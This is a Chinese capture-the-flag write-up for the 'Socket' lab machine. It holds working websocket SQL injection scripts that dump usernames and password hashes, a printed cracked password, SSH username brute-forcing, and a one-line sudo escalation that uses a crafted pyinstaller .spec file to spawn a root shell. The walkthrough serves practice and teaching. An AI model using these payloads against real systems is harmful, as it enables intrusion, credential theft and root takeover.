一、思路概要
1.在web页面发现程序源代码2.反编译python打包文件发现sql注入3.对注入结果进行分析得到用户名,登录ssh4.sudo -l 发现可以特权执行的脚本5.文件名和内容可以自定义,造成rce,提权root
二、信息搜集
端口扫描并绑定host
直接访问 10.10.11.206 会跳 qreader.htb
echo "10.10.11.206 qreader.htb" >> /etc/hosts
我们在后台运行一个用于枚举 websockets 的工具,同时我们继续进行其他枚举。
https://github.com/PalindromeLabs/STEWS
python3 STEWS-vuln-detect.py -1 -n -u 10.129.191.94:5789
这个洞没什么用。再看看web
该网站生成二维码,还允许我们下载适用于 Windows 和 Linux 的程序。
三、反编译pyc
下载它并对其进行逆向工程。
使用 pyinstxtractor[1] 工具进行exe反编译成pyc文件
安装pycdc工具
git clone https://github.com/zrax/pycdc
cd pycdc
cmake CMakeList.txt
make
使用 pycdc[2] 工具进行反编译pyc
经过测试在version函数这里,存在SQL注入
使用这个脚本查询到用户名
from websocket import create_connection
import json
ws_host = 'ws://qreader.htb:5789'
VERSION = '0.0.3" UNION SELECT group_concat(answer),"2","3","4" FROM answers;-- -'
ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()
进行json格式化后,发现了用户名
使用py脚本,读取账号和密码
from websocket import create_connection
import json
ws_host = 'ws://qreader.htb:5789'
VERSION = '0.0.3" UNION SELECT username,password,"3","4" from users;-- -'
ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()
密码使用md5解密,SSH 登录并获取flag。denjanjade122566
四、爆破ssh用户名
直接使用Thomas Keller作为ssh用户名登录,是失败的。这里需要生成对应字典,爆破用户名。
使用这个工具生成用户名字典:https://github.com/urbanadventurer/username-anarchy
使用fscan进行ssh爆破。
爆破成功,登录ssh,拿到user 的flag
五、提权root
使用sudo -l 发现了一个root权限执行的脚本
查看一下代码,存在rce漏洞
if [[ $action == 'build' ]]; then
if [[ $ext == 'spec' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/home/svc/.local/bin/pyinstaller $name
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
执行命令得到root权限
echo 'import os;os.system("/bin/bash")' > /tmp/file.spec; sudo /usr/local/sbin/build-installer.sh build /tmp/file.spec
References
[1]
pyinstxtractor: https://github.com/extremecoders-re/pyinstxtractor[2]
pycdc: https://github.com/zrax/pycdc
原文始发于微信公众号(靶机狂魔):靶机—— socket
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论